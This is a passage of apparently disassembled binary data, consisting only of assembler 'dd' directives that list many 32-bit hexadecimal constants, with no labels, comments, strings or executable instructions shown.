62BEE9F5h, 7C6C2DE2h, 9C70C27Fh, 2FD1F069h dd 269B9744h, 97688CFAh, 9E89F55Bh, 5650B700h, 0DDDEFA0Ah dd 6412FBB7h, 2ECDFFF1h, 0FFF4C53Ah, 0BA41FFE6h, 52556C3Fh dd 0B857CE40h, 0BE42403Eh, 2905D575h, 55A682Eh, 0DAC147ACh dd 69ACCB5Fh, 0BE3D7367h, 29110F31h, 8E90AF1h, 2B847B37h dd 2113E2BCh, 58FDB3D1h, 2A2D00FFh, 0EF81395Ch, 1732135Fh dd 10EEAC62h, 55022E50h, 0F2298768h, 0B89FD085h, 41AB5B6Fh dd 0A534F389h, 0BDE86E01h, 0C926CB25h, 597CF31Bh, 981DE5B5h dd 9AE91102h, 0B121A25Ch, 2D6EB34Ah, 4995011Ah, 0AFB80446h dd 0DF551262h, 0BAE0D509h, 3C497268h, 0CEE9C273h, 0C886A7DDh dd 3DA8D274h, 51568C4Ah, 20C05458h, 4A534880h, 5F932831h dd 1A886A8Eh, 4A7CB050h, 0C0D1C08Ch, 807302ECh, 0C4FEB41Fh dd 0FC0D5EACh, 0E56F338Fh, 5E804064h, 0EA0BD12Eh, 0C4D87AE9h dd 0DA54511Eh, 0B4B9B87Bh, 80F465BEh, 0CC7414F3h, 0F20A3E4Ah dd 591208C6h, 0E9126AB3h, 5DE9C2B7h, 4BCDD9FDh, 0E054E102h dd 1CD86DFAh, 8274BBF6h, 0FDB90A63h, 9D383F01h, 1D6AB505h dd 8EAFBDDh, 5C2EE536h, 20E5DC2Dh, 953B2FD5h, 581FD79h dd 705E609Dh, 771107Eh, 54D60275h, 335A5140h, 0D6F424E9h dd 7DFC9475h, 0C4275BF3h, 6BDF0473h, 3A2BABBh, 1CD1EFD3h dd 0AD7E555Bh, 50B4992Dh, 680B0633h, 4F790980h, 0C2654E83h dd 642CE93Bh, 0CF4D3589h, 5409F768h, 1010414Ch, 5101E20Eh dd 166801B1h, 0E9E54C14h, 24099459h, 2F174B4Eh, 6813A2FDh dd 0AA0984ECh, 0F4E73562h, 2D590724h, 0BC69248Fh, 8EB8024Dh dd 0D071BE13h, 0E8292C6Eh, 0A13408C3h, 0B9487427h, 0DC1E7584h dd 3AC9EB10h, 0FCD04E22h, 0CF47972Ch, 7E72A53Ch, 762A592Dh dd 5158E9C4h, 0F65BA38Eh, 31EB4A17h, 0DF8D68FAh, 2C632113h dd 5043E940h, 0E531645h, 0C7E6852h, 4AFAFD96h, 0D8A513F2h dd 515E0E00h, 0DC462745h, 7E87CC88h, 5EFB7BC8h, 35FD8105h dd 0AC92C55Ch, 68135FBEh, 0BACF82D3h, 0FC256AD3h, 0A2FE0561h dd 31DDAF69h, 4D899021h, 0E385C39Dh, 4CA0F28Ch, 0A752DF50h dd 0E58F8F0h, 282FE02Dh, 5D02942h, 0E9EF078Ch, 0DDFD7D27h dd 52C2BDA2h, 0B3418F64h, 0FEFAE03Fh, 692DCE7Ah, 0EB39D7C3h dd 0B38C2FD5h, 94E3E6E9h, 6956EBACh, 48B76858h, 53C34F74h dd 0F095C388h, 0F697D179h, 0BA1B6223h, 7C2555F1h, 979856F8h dd 5955C2E9h, 0B508CCC5h, 0B273B98h, 0A9C7FC1h, 5B25B20h dd 0B54ED6BAh, 5AA40036h, 0B951E801h, 0F70BA2h, 746705CFh dd 874D4899h, 3AC28227h, 9D0C6C75h, 40BC7AB0h, 0B9C6A5C0h dd 96F4D809h, 5D12DC9h, 2F914C2Fh, 6CAEB9EAh, 0B354BF42h dd 0AD828E76h, 0DC34EA36h, 0B00720B0h, 0BE05E7Eh, 53F35ECBh dd 80A00214h, 78164CE9h, 0A054B83Ah, 1638A3AEh, 4A1369h dd 70626BDBh, 0E7078178h, 2B654D20h, 0FC5AC760h, 0C8505BDFh dd 0EE1B8C41h, 0FD482FB0h, 0EA047F13h, 0DAAF1D94h, 0BFB65E13h dd 0F5EE0C86h, 63DFC703h, 0B50142DCh, 80321C4h, 0FA5EBE9h dd 76C18030h, 0E8866F04h, 540CC5FCh, 0A01A30ABh, 2A7DEA1Ch dd 0A5B4A624h, 5818A06Ah, 970BB2Ah, 211D2E73h, 312EF670h dd 0D46946D6h, 5D3A07AAh, 0D638BD74h, 0C1C82802h, 0BAFAF161h dd 7A8C8BBh, 28C2758h, 82ADE0EBh, 1E5279CFh, 0BC1CDB06h dd 0A21293Bh, 1BBFE955h, 0CCE7808Dh, 475FB667h, 1C7989A0h dd 99023E6h, 0E00B63FAh, 9FA2170h, 5E87A5C3h, 144B2CAFh dd 4B257C12h, 38F9E01h, 0FC407B1Eh, 5C64375Dh, 0AD061D17h dd 0C21DB3Ch, 0A944180Bh, 0F3DD61Dh, 3381563Dh, 9DF6A1E9h dd 0D58BAC66h, 1C6290A0h, 0D7C2E1D9h, 22FEDF96h, 5019BBEh dd 3F28F2D3h, 0F1002F29h, 29764487h, 0D19DD9F7h, 9BD4AD94h dd 939D32Dh, 0E20901Bh, 0A92B53F2h, 4510158h, 29E62DBCh dd 356AC0EBh, 0AA2EDD0Dh, 0E904D6AFh, 0C1B95EC7h, 2793BD02h dd 12416B9Dh, 8B83C394h, 59B2BBACh, 5C1D0E1h, 6645C482h dd 83D49F9Eh, 5B09C5EFh, 8920B4B9h, 8054B207h, 0F232ECCAh dd 9EDEC1C4h, 0E939B07Ah, 11EC674Bh, 2ED0F11Ch, 0D3280BE8h dd 1BF1908Bh, 58E8FC4Bh dd 0E2208067h, 0A0364BF3h, 5B28B135h, 0E916B630h, 22AA73A9h dd 0D9DFD752h, 474D0141h, 645E35F5h, 1C0608FAh, 0ABD6430h dd 0C5312F0Bh, 44327EFCh, 4B4DFA58h, 80E5F9FEh, 729B17A4h dd 446125E9h, 1D0BD5FBh, 0CBD7DE1Fh, 530242B6h, 0DC11B4BBh dd 3D02574Fh, 0B35FD68Ch, 195D3D9h, 676BBD67h, 0EE096AADh dd 4DF89D7h, 0AB3C2A1h, 0A25AE209h, 8ED1503h, 0D8CD0651h dd 86620FD0h, 9467764h, 2719D05Dh, 0FB9424F7h, 1F0D895h dd 649A5214h, 6A84E8E9h, 5CD1CC56h, 4466D73Dh, 5FA86809h dd 0AD500922h, 4B34F3F5h, 16004E57h, 0ED2B58E9h, 5409380h dd 4AE23039h, 31A8BA01h, 0F5B325DCh, 8A45D8AFh, 0ADADEBDh dd 8FCAC4EBh, 0C90930FFh, 1E27DE4Bh, 0BE378059h, 12F04A82h dd 13DEF742h, 54E4B060h, 0E5685E4Eh, 66D81328h, 0E660EE53h dd 395268B0h, 6748C288h, 0C432885Ah, 24EF024Fh, 0DC91AF57h dd 257F99E9h, 79D1FAD4h, 1DF4EA01h, 5B1ACB9Bh, 6858BB7Ch dd 0B71970F6h, 85CF3AF6h, 11ED4210h, 0CA69E98Eh, 4E111BDFh dd 0E21CB008h, 298C04BDh, 74B42584h, 25A45AD7h, 0E093000Ah dd 57036926h, 0A15063FEh, 2A7A4C5Ah, 0E5D16612h, 0FDC22F1Ch dd 0A23172C1h, 9B12C3h, 8A5CE305h, 5110755Eh, 5B680907h dd 1F152315h, 0F5098767h, 4897BAE7h, 23872E1h, 0B2C031F5h dd 6222333Bh, 7FD1DCB6h, 3CB55918h, 0EB61CEF6h, 7A306817h dd 0B349403Eh, 9ECB80B9h, 0AA968598h, 0F89A541Dh, 0BE8A8047h dd 0B845972Ch, 2F23030Fh, 0F229603Ah, 0A0081C41h, 4996141Ch dd 93D1F46Bh, 0EF7EC4B8h, 2FF043D9h, 64FBB6DDh, 0DE15BFADh dd 0B68CE44h, 0B5079B52h, 0B446F2EAh, 3B79D8D0h, 0E97115BDh dd 463BF896h, 803DCD2Ch, 2219CB0Dh, 44092D43h, 76760AF7h dd 84FC12FAh, 0C064D401h, 0B1F45713h, 0CC5FFE9Dh, 460C68A4h dd 0DB257420h, 4992B05Eh, 0CC0FBEECh, 0A873B6A5h, 400930C3h dd 95CFF5E9h, 86495198h, 0A1F4EE9Fh, 5701B9E8h, 5F714268h dd 4A626277h, 8B715702h, 26018AB0h, 55A0499h, 0FCD225E8h dd 7AE909E3h, 0D0B62CCBh, 99590F40h, 0C0B78378h, 6F4EE74Bh dd 68564F05h, 29FC53EDh, 0FE3892C7h, 41935B0Fh, 22107053h dd 521356Bh, 87B48107h, 0B25201EFh, 0BF07EA8Bh, 0F7001459h dd 509D0DD8h, 0B753Fh, 592C6C90h, 0F8F68005h, 7655562Fh dd 2BE9F051h, 0B5B6059h, 3075FB68h, 32208837h, 1D84064h dd 39933707h, 460C0466h, 0EA5962BFh, 50C40F8Ah, 2351444h dd 3894319Bh, 915B6029h, 624F948Dh, 515DBEC1h, 0B4B39660h dd 7D00213h, 10377E1h, 0E95F1176h, 8024AEA6h, 13EBE5C7h dd 3CEA08h, 0D7261FF2h, 0B32FE928h, 5AC5B55h, 0AB751D2Ch dd 0E86419B5h, 0E2D302C8h, 0D893E98Ah, 85E27B5Fh, 0B626B668h dd 0C7512F94h, 40FF28B9h, 0B90551D6h, 64B338ECh, 0D97A32C1h dd 5891C87Eh, 0FC96935Fh, 9B535854h, 807B3D2Dh, 28F8EC3h dd 4EA5F323h, 54C2B29Bh, 0C0981AFDh, 301F9214h, 88285DBAh dd 9ACA1443h, 189C95Fh, 5E2B89D1h, 5174149h, 0EF4530A3h dd 0F376331Eh, 1EE94F05h, 0A32716AEh, 7CD72516h, 0B2A081Fh dd 3C946414h, 0D732AD02h, 82008932h, 6031634Dh, 0C904059Ah dd 542E14EDh, 0F4052883h, 0CDEB80EBh, 484B3CE9h, 0C07E1FA5h dd 6FF96CC9h, 4E895850h, 66040616h, 158B3500h, 2AE9235Ch dd 60894111h, 38CAB0E6h, 465BEED1h, 5C059EB0h, 0F516CC65h dd 0E79FAC5Eh, 0AFCD8444h, 0F16ADFCDh, 69A92BD7h, 858030F6h dd 858277FBh, 0D2FB97D9h, 0A7D7EE13h, 0EB808482h, 5A2EE9D5h dd 0C4782483h, 0CC95EA8Eh, 827C82BAh, 5D220955h, 0C125DF3Eh dd 768E8EE0h, 0DEEE9E53h, 80F92FFFh, 3E3F35B0h, 899113EEh dd 4060EFC7h, 53C57EBh, 6E93FA6h, 9D4DEE51h, 836BD005h dd 0C18D5AE3h, 28602C53h, 6132B2BBh, 373E58A2h, 0E809BE38h dd 2ECEF65Eh, 285661ADh, 90212CD0h, 55F968C2h, 0F9BD2C66h dd 0B73118BDh, 0E50E8058h, 0A2CDFE16h, 74C069F5h, 0DA4F0ADEh dd 5958D093h, 5BF83000h, 803DB652h, 0E93208CEh, 5A1DD605h dd 0FFDC768Ah, 835BDF84h, 0D7F7BEC1h, 0ECA4C528h, 41598B23h dd 136BCE5Dh, 6803CC6Eh, 55A4F26h, 57FE7889h, 0DC2053CEh dd 0B35303E3h, 27F38010h, 789FC0D9h, 7701924Dh, 33B17767h dd 2DAA7801h, 2411856h, 70C3F3h, 58503852h, 62231FB9h dd 0D9314616h, 2D27C5CAh, 80BAD07Eh, 778A3A72h, 0A005C801h dd 951AE907h, 0FDF79B21h, 3AD0C5ACh, 6684CBFCh, 59BD408Eh dd 980BD87Dh, 41904EC5h, 5C57F6B5h, 0F089CCA3h, 2C600DFCh dd 6A8C1ADh, 0A95A5F1Bh, 3025097Dh, 3A9D463h, 3BDC0E33h dd 4C7A0C0Bh, 8E15DBEh, 718C314Bh, 4D583073h, 0D6CC694Ah dd 3923B4B9h, 6170F4DBh, 0F86F1341h, 0BA2010DCh, 0A496809h dd 5DA57BD6h, 5DD9AB3Bh, 0DB57C215h, 540189D2h, 25FEE657h dd 0BB766923h, 804CB7E0h, 2D0173C7h, 4FD60DCFh, 0FD285F82h dd 0B602615Bh, 0C3B79FDBh, 70C8E952h, 0EBE04F0h, 0C0788725h dd 10A1CE5Bh, 561ED4Dh, 7EEF35ABh, 9AA181FEh, 0F432AFF6h dd 47080E62h, 215024A9h, 0FFBA1927h, 2B352419h, 545CD009h dd 60F953EAh, 8BCE48A2h, 70845013h, 56A1EE1h, 0AF1F4CBEh dd 0B3B84A44h, 0CE82540Bh, 22F41AC5h, 66926E82h, 0F58B5D94h dd 0EF2024D4h, 9C353F17h, 62A16806h, 315C312Eh, 7B0E367Bh dd 8D25B731h, 0F828A88Fh, 80C2D9EBh, 0A4815861h, 7103F90Ah dd 0D917C367h, 313A584Bh, 7A92222h, 0A7D0F285h, 5FF30787h dd 0EE62B06Bh, 2A5A08A1h, 87629EFh, 3C8428F7h, 9E55E9FAh dd 160DF87Ah, 0CDBE8768h, 0D4502A93h, 5B4707C5h, 54B278AAh dd 46F9F5D1h, 0B412954Ah, 56C0ADF3h, 0B87B3ABEh, 0DEF73D0Ch dd 16C1B84Eh, 0C4C24784h, 5644EB8Bh, 33FC2568h, 0F604BC5Fh dd 19C8094Eh, 3ADA396Fh, 1A02A30Ch, 24970C0Eh, 13C43E70h dd 2E75F1A8h, 97594528h, 0E9897FC7h, 0BE85D0D3h, 5352C0A0h dd 7E171568h, 0CC075D0Eh, 6AC2E3CBh, 0D8E5569h, 22393E1h dd 2F310053h, 8908202Ch, 0E22E80B7h, 5F9F372Eh, 9645AC05h dd 709D103h, 0D601D993h, 9400564Dh, 4AA60676h, 14CD945Fh dd 51868408h, 0ED022D3Bh, 0DA3AAD74h, 1E327F21h, 0A10DC25Dh dd 2B941A1Fh, 3F18A4BFh, 0E9F35A84h, 0C512675Eh, 0C81EDCFEh dd 3955DBAh, 2ECE1443h, 0B47EA71h, 207D55E6h, 77F6E3C8h dd 0CE505C57h, 4A26137Dh, 247C0216h, 0ED485A79h, 6B7E4219h dd 0ACE7E918h, 28B2BD4Ch, 2CF8C412h, 1D8905F5h, 2ACD8172h dd 82414B37h, 3F618518h, 0B191807Ah, 251D4605h, 8376CD31h dd 0AA22B80Fh, 2F008423h, 89F31B07h, 889796EFh, 80018DD4h dd 5C049DF6h, 94A1B4E8h, 37896FD6h, 0BD8BAC51h, 0A67BF495h dd 0FF8A0E06h, 7E618A32h, 35007F5Eh, 41B96651h, 1F81E832h dd 0CB795FF1h, 0CCB21FCBh, 515292A0h, 5E179C68h, 0CA4007B3h dd 6F69EC67h, 2094EE9h, 573F688Ch, 17929F7Ch, 502D78BBh dd 822F45BFh, 0A785BB5h, 0EA28B075h, 5219C9B1h, 111365F8h dd 84EB1B38h, 0B10716A4h, 6DE22FD1h, 0E8D10AC5h, 0F4B6E5F5h dd 0A50B5D13h, 6AC2034h, 4500715Eh, 0DF1DF4F2h, 76C9906Dh dd 11E12D0Eh, 9E8B2857h, 89EE7E12h, 24DE6810h, 9062551h dd 6E1061h, 9366BBC7h, 0DFF74F01h, 0D25B84B8h, 0BE579CCh dd 440E1EC2h, 7AE90861h dd 0DD29044Bh, 0E51501A4h, 16CB20EBh, 14067C12h, 421361F9h dd 6C77FAB7h, 0A3BB2FB2h, 175077D4h, 0E3950EB5h, 5B223799h dd 5658C380h, 34360B68h, 2CA0659Fh, 0E1249BBh, 0E6C14618h dd 25AC6AEh, 68CB6586h, 81592E21h, 5C5E5909h, 0AE054687h dd 74AF0E8h, 2C88BE20h, 5A597C87h, 0AA48C550h, 6818D29Ah dd 0A2E9618Bh, 5EAFF85Bh, 149F095Ch, 3CEE9875h, 9D89221h dd 0FE0331Bh, 0D7A9C2FDh, 0E95A8BA1h, 82AC2F69h, 0C2B70FC5h dd 0D35F1207h, 0B1CBA56Ah, 554077E2h, 18BD7653h, 423A77Bh dd 0B5E909DFh, 0D1FA1290h, 8E8AE402h, 408BA12h, 6A8718C4h dd 73E313C1h, 0E4BF832Eh, 2A5B1FB9h, 72BA5A13h, 5B573405h dd 0AC5E93B3h, 0CABAB512h, 7ADE14BDh, 2452CFCBh, 37F32556h dd 5EAE524h, 0FCFBE947h, 0D37770A6h, 45231B27h, 8ED10751h dd 582618FFh, 2C0152FAh, 0A796CEE9h, 7C3CF576h, 0B0A40D9Fh dd 50AA8E3Eh, 6282C563h, 4068754Ah, 2C1445E2h, 4A14D93h dd 0FA92D912h, 7B9EA5EAh, 294247B5h, 5FBBA9E3h, 0F7C9007Bh dd 5A2E8B9Ch, 23CA157h, 0E91ACB31h, 2425DEFAh, 0E3F07267h dd 0C359650Ah, 4D29D25Fh, 0ECAC570Bh, 3A6C2F38h, 0CF388B46h dd 7DAE4F1Bh, 70C47E12h, 2258A78Fh, 0B5707B38h, 0DCA705D9h dd 0CBC66203h, 3E6C1A2h, 0EE2730FFh, 8D5E02ECh, 0C13BE970h dd 78B09566h, 0EA68DA0Bh, 0BD2664Ch, 22F05FBFh, 9C561009h dd 9876D809h, 5A266863h, 0B1EDF810h, 2552A188h, 0CCE45D51h dd 4797597Ah, 79FD09D7h, 0B0797B76h, 0D69AF93Fh, 2EFE1211h dd 5BC58E53h, 7A3D99AEh, 9287D2ECh, 0A0490840h, 1A083E33h dd 1B7C9514h, 3D47FF72h, 881EE52Fh, 92282207h, 66A29F80h dd 811E7E00h, 734E0FEFh, 49E916ECh, 8875AA6Ah, 3ED3C9FEh dd 0A0D0F1E2h, 4930C700h, 0D176E939h, 0FD21C2ACh, 0E178B040h dd 35003844h, 0D6F885BDh, 0BDFD01CCh, 729FE300h, 5A9D57E7h dd 268DE632h, 0B0C441Fh, 0B17E7808h, 0A2930DE2h, 0D5F229DCh dd 0F3261E1Ch, 0E094432Fh, 309F1C0Ah, 4E165727h, 974F4B7h dd 794515CFh, 28FB6917h, 0E317C05Dh, 2AF88006h, 4FB4912Ah dd 34F9330h, 1306063Fh, 0AC90865Fh, 4A2D1060h, 0BA08BE04h dd 425B0207h, 95800CCEh, 36A54F98h, 0C55BF895h, 13EB8106h dd 8CA4BD0Bh, 9611CCBh, 590D985Ch, 217025D6h, 0CED39F25h dd 7062D5A5h, 665375h, 181D5733h, 0E916D0F7h, 42A9B73Dh dd 0C12858A7h, 54BBF44Eh, 0CE5B4969h, 970B14C3h, 0B868C244h dd 90C4E665h, 40C4147Ch, 0CB1CB6D8h, 4AD34E20h, 3D1CF3C0h dd 0C19D46FCh, 14ED538Fh, 12F6C3F0h, 0FF4CAA12h, 0B26AEF45h dd 0E9B020B9h, 0CD9D3252h, 5A88A466h, 0F92CB05Dh, 0A991B15Fh dd 366F0271h, 0E8804742h, 41744BA0h, 892035BEh, 0A7F9180Bh dd 0E9A580FEh, 0E3FF9DA9h, 507CFA2Ah, 4BEA5C83h, 6171E9F0h dd 3B6F4FA0h, 0D4607E31h, 9FD0C495h, 0E9F91C89h, 0B7F9ADFCh dd 3002D52Fh, 6771550Dh, 2BE51897h, 0E18339D8h, 4D4C00C2h dd 28B55F67h, 0D0240877h, 0EAE80C16h, 5D7984B1h, 68AF016Eh dd 0AC997A6Fh, 1A59A73Fh, 822120A0h, 5172CA52h, 0C7C08912h dd 3C4EFEE6h, 5A2FA8ECh, 2FDB1920h, 0E0ED79BAh, 84347746h dd 0D6AA0C62h, 44BF2483h, 97C03096h, 7040EFE9h, 0D85AEC2Dh dd 1CDA789Ch, 97E93F3Eh, 5B44A35Fh, 5A3A02BAh, 71F75453h dd 1E9C10Bh, 0AD9C9988h, 68004744h, 21C44166h, 5B147F50h dd 8BB83077h, 59E83057h, 0B36A4CB9h, 0C64EAF12h, 62BB4353h dd 0DFF4B74Ch, 527F0FBAh, 0C21BBAA4h, 587CE0C8h, 6603B22Dh dd 0BC41A10Dh, 8BF681A4h, 7E89FE0h, 1B277C03h, 7FAE6A7Fh dd 45E9AA21h, 802683D3h, 76C031E4h, 57C438A6h, 6510C14Bh dd 0E5D16A7Ch, 5902A5ACh, 2562D375h, 3CF5576Ah, 48E91081h dd 46DE5B09h, 7B982A63h, 6859780Bh, 8F6B711Dh, 3A00EEB8h dd 40D8F72Dh, 812751BDh, 937AC435h, 45B22F4Eh, 0EE9570Fh dd 7AF64E79h, 78199A44h, 0C697AF17h, 0C09238A4h, 5AF85505h dd 25ACFCB7h, 20670B5Fh, 0B93F88E5h, 232BC16h, 0CDE9E7D1h dd 0B2011458h, 58C2305Ch, 0CBF05253h, 0BD83B9BBh, 0EE7C196h dd 2744C712h, 0DAE7817Bh, 0D01678BEh, 15C296ABh, 361277C8h dd 967D1E5Dh, 0B6BA9B3h, 0E03056A3h, 19B10109h, 1B1F4142h dd 0EFA6F4C2h, 6913E45Dh, 0FBC08546h, 0BFA17AE4h, 4FD135C0h dd 334A6F48h, 0B2915561h, 4A92F03Eh, 8923A95Eh, 30495555h dd 96EC2F5Dh, 0D68BBF2h, 0A4AB3E68h, 0CD4990D2h, 24E12A09h dd 0EB0F6FA5h, 0FDAC2DE5h, 3507016Dh, 267F968Dh, 5FE5B86Fh dd 374154F8h, 0F178606Ah, 9E4A58E9h, 0EEA087BCh, 0F01305A2h dd 28124624h, 0B9046BACh, 0AF4A6A8Fh, 972D23C6h, 2B7E0240h dd 2902130Dh, 0C47F76C2h, 870B0B3Ah, 203D9379h, 3F5E5CA9h dd 3AE3B14Fh, 69AF3352h, 0E3286E95h, 0BCA629E9h, 0F8018BEEh dd 68C410F7h, 3F565870h, 215A54C5h, 3FE6E97Eh, 9CCB9F87h dd 0B56851B4h, 0F610D226h, 5A2CB3h, 0E2734070h, 875F5032h dd 518C71C2h, 0F61C2CDh, 0F8FA133Eh, 46E9F03Bh, 13C69BADh dd 3062472Dh, 0E9FBF6C1h, 600C514Ah, 14D4CA59h, 0D61B7B45h dd 0F603DC43h, 5CB72DF3h, 113A1804h, 0DB007C33h, 31CAEACEh dd 0A1C1FBA0h, 5077679Ah, 50924B59h, 9BE20C6Ch, 0D0BA114Ah dd 6CF6C028h, 1043015Dh, 533BB07Bh, 2A204225h, 1D478BE3h dd 0F91460B5h, 0BFFE09FCh, 7AD615E9h, 2551EC25h, 14DF5456h dd 5DA42D9Fh, 51465E18h, 3502ABB3h, 0FD027719h, 0B9F0878Bh dd 698B5B95h, 346D9321h, 54C02ABFh, 2E139B68h, 15F311Ah dd 2D05B2F7h, 77C72A37h, 31AF95C5h, 29CCCB2h, 9898DAB8h dd 68BDB1C8h, 5F89E266h, 6965ABC9h, 7D904F2Ch, 500E18C8h dd 5489A16Eh, 9F5BDD7h, 6483DAFh, 3F283AD6h, 0E97B3C05h dd 0D0D4C9D4h, 0D09EE4AAh, 0F12A7249h, 1058E0Eh, 0CF924FC4h dd 9D66C8Fh, 0F12FC768h, 7DC38097h, 0EB293662h, 0B055D05h dd 99C1E15Fh, 0EB046B37h, 8C4899B3h, 71CB0844h, 5D0E9003h dd 257564B5h, 0BAF574EEh, 2527E36h, 16EF5AF3h, 0E09F6CF8h dd 16432DAAh, 20F5B08h, 0AAE1E92Dh, 79255457h, 37C1043Ch dd 0FD7A837Fh, 67D780Fh, 0D41EEA2Fh, 0A4511F26h, 86F62F38h dd 625BA702h, 2B40FDF5h, 984D4EE9h, 0D6145F45h, 0B803D6A3h dd 786D39h, 9013720Ch, 95FDE9E1h, 58E525C1h, 0A83EEF28h dd 0F5B0C7E5h, 83BC8909h, 5EB87C79h, 7B15A12Ch, 0E98256CFh dd 0FB488849h, 300CBD68h, 0E4597284h, 29181D09h, 3D0F4D25h dd 7E683D24h, 0E8AB1E25h, 0B3C35D2h, 0CE0119FDh, 0E9C65581h dd 15022B17h, 82D7F74Fh, 9C043F1h, 0F9DE5C84h, 31347CD2h dd 0C6AF197Ah, 0BD0B9E32h, 14573Ah, 517AE586h, 0B4877C77h dd 0CE603AA1h, 0A223632Ah, 0FA4E5C98h, 0E7869AF2h, 0DC250B3Ch dd 0AA7F6B73h, 8F33D528h, 6B76A8D1h, 410192F6h, 8B59E205h dd 0F82C3B2Ch, 999220E9h, 7F92024h, 5F417C12h, 2945115h dd 15185D20h, 0FB0D887Fh, 4447DA02h, 0C7A0D173h, 0CB779186h dd 0A3F8E912h, 7013A9F6h, 4DCBFBB4h, 15B9A44Bh, 6804A3B6h dd 9AEB1003h, 2F284C45h, 6C299C9Fh, 810EC5Ch, 0E91317B8h dd 9142C401h, 0C0060D7Eh, 828510CAh, 0A424D7C2h, 687EC18Dh dd 5DCCCA8Ah, 29212865h, 152D9180h, 1B092F7Fh, 4F82A6C5h dd 4016AFE9h, 27730920h dd 4FDC2767h, 8F60ED82h, 9559E04Ah, 0B0025E76h, 3F12794Dh dd 0FDBD45DEh, 43A8890Ch, 4F0BE9DAh, 8D61E14Ah, 8073844h dd 9E185D5h, 314BA07Eh, 4062DEB7h, 0D26CE957h, 9BB45F95h dd 0E9841FB6h, 99F877EAh, 0ED89C4C5h, 20053259h, 0F679FF9Bh dd 0A98B7A50h, 0CC7E05B3h, 1A90BE8Dh, 92179E2Eh, 0CC352D00h dd 0EFF7E927h, 57CF278Bh, 411AAF78h, 600C2F33h, 0B56FC23Ch dd 5A9849E4h, 995D5C40h, 0F0BF6068h, 767E6A5Ah, 5FBBEF06h dd 0AE744Ah, 3B930AA3h, 25CABD55h, 0E910E304h, 31AA0140h dd 6E264A37h, 86B25177h, 836D5EA4h, 5A6A23A5h, 101A9E01h dd 0D5312B4Ah, 0D6749A89h, 0B80D07Ch, 55835C1h, 0AC720EC9h dd 0CEC04079h, 25715428h, 0BC261E0Fh, 133A4720h, 0B6F06107h dd 327E7FC6h, 0E983C201h, 49120E62h, 0DD6AA954h, 0BFCEFD58h dd 153FA9C7h, 10CD45CFh, 52D601ECh, 24CFBB23h, 0B81B85Fh dd 80E118EEh, 69CDE9DCh, 0D1023C30h, 7BB3F1CAh, 150A2CADh dd 0E70B16h, 0E685059h, 4D48D545h, 337620B6h, 0DF44EB28h dd 57FB0E5Eh, 0E433B96Ch, 50C829FFh, 951CFAF1h, 0E82DE9E4h dd 0FDB993A3h, 84254FACh, 51B7FBF8h, 0F02860F0h, 0B6A43A04h dd 549E822Fh, 730949D1h, 3D2D4103h, 93D29DF1h, 0CBBBF3BFh dd 0E9BA05A4h, 8AB466AAh, 0EC3231EFh, 42FD893Ch, 465DB5C0h dd 201C9895h, 8A9FA78Dh, 0F505FC37h, 0B41E2326h, 0EC0B8E64h dd 68866076h, 2D879A7Ah, 5200F4E9h, 9514A62Dh, 0D784044Eh dd 10880702h, 4EE7FF58h, 76125EA8h, 8E003157h, 624190F2h dd 4B78BF11h, 12895816h, 0E90BC1ACh, 60DC145Dh, 8106EB89h dd 0DC7A08B5h, 0A06A8631h, 0B34FD4F7h, 96BB8494h, 719770EAh dd 2DEA5F6h, 20F1F8A5h, 6819B6F1h, 8B024BEEh, 8B8DEC6Fh dd 0BE0506Ah, 0C569840Fh, 6D2881C9h, 70CC89BDh, 0BD799229h dd 0D273DCF9h, 2344F7EEh, 1B84C44Ah, 4A018AAAh, 0ED817531h dd 8282A53Eh, 0DF7EC20Ch, 0BA5C5530h, 0E9180820h, 8DBAA65h dd 845B9775h, 5A7C0900h, 9F5EE971h, 7F74CA0h, 6B4C083Fh dd 583C0153h, 22E90B43h, 5467047Eh, 8E15825Dh, 293C9D78h dd 37BADAEAh, 59FEF3F9h, 0CDB3FA85h, 5D264098h, 0D908FEA4h dd 11D8507h, 509F0EA1h, 730E824Ah, 5752910Bh, 121865E3h dd 29E20204h, 697C91D1h, 0B7649E55h, 5D6B435Ch, 0EA263FCFh dd 9CCCDE2h, 0BA3279F6h, 3BA7F2Bh, 0EF202FFAh, 835D9543h dd 25BE3667h, 0F77B810h, 0E151499Fh, 2ED95ECEh, 4625F3Eh dd 809D6C41h, 789EE155h, 1836DA30h, 63312074h, 16A70C45h dd 42DBCF4h, 77F72685h, 0BC2C85FFh, 8DF4B13Ah, 1A2ACA2Bh dd 6016734Dh, 681D5EEh, 55193BCDh, 3D279E13h, 2C03E5B2h dd 9E542FFEh, 73493560h, 9CEAB268h, 84816B5h, 0D820E4CBh dd 0B442053Fh, 5CEB3B73h, 1389C320h, 0B8A4AF2Fh, 996073D3h dd 1EF18022h, 587B2E68h, 0CC886275h, 0CB2EE7F4h, 67D53062h dd 0B0DE34A1h, 29BFBDB3h, 163454CEh, 5E07A80Ch, 29E9E1D0h dd 0C3EBC0D6h, 63B85B7Fh, 155F94F6h, 0E4579E75h, 6953CFEEh dd 774B87ABh, 0E94AD400h, 3F94940Bh, 4234059Ch, 0F0015BA3h dd 0C223B261h, 0BDD7517Dh, 0EDC29C96h, 0DD68C207h, 0AAE7557Bh dd 0DAB6FCB0h, 88531251h, 0C512AAF3h, 0F86A20C9h, 39ED90B7h dd 0EC544071h, 0BC3C926Dh, 0F901781Bh, 34D0E92Eh, 0CFE18081h dd 0D243D9F6h, 5335E9FAh, 4083B800h, 0F99D38F6h, 2C565A4h dd 1163E9F2h, 0E21441D2h, 16A96472h, 34205EF5h, 26BDF9C7h dd 2FAFEFFh, 4A7410A3h, 9C56AD5h, 63517708h, 59345B62h dd 536805C9h, 50913026h, 0E917B1B4h, 3FA32CEDh, 0BA787D27h dd 5338FE97h, 0A058C9FAh, 84425E50h, 74877F17h, 7E85CDEFh dd 0E9B07FEDh, 51956D55h, 1CD5202Ch, 9D5088B7h, 58E10AFCh dd 0C180E11Eh, 61068109h, 4BB65266h, 5860F2F9h, 547625E9h dd 0E2736EF6h, 0FAC5D65Ah, 0E9FDA4C2h, 0E36B59C9h, 4E7A9EBEh dd 0EEE18BACh, 5F3C126Ch, 0BE80D079h, 0D6F3A99h, 6B2D3168h dd 2EAFDA31h, 94FE131h, 0ED2C1B89h, 17E391EBh, 0FD741E2h dd 897C3F20h, 0D8B669D8h, 47351F54h, 0B7ED36Fh, 54497792h dd 0C05C78Fh, 6A96856h, 0DC086A8h, 0D1622C01h, 9DE3E25Eh dd 1F4292Dh, 0F4F8E905h, 42984100h, 0F855741Eh, 4BF9CE4h dd 0B375D168h, 6E4212B9h, 990019FDh, 0BF3E6831h, 190B181Ch dd 7CEF013Fh, 0D7F758DAh, 39115E02h, 514AA0E9h, 0E01CE91Eh dd 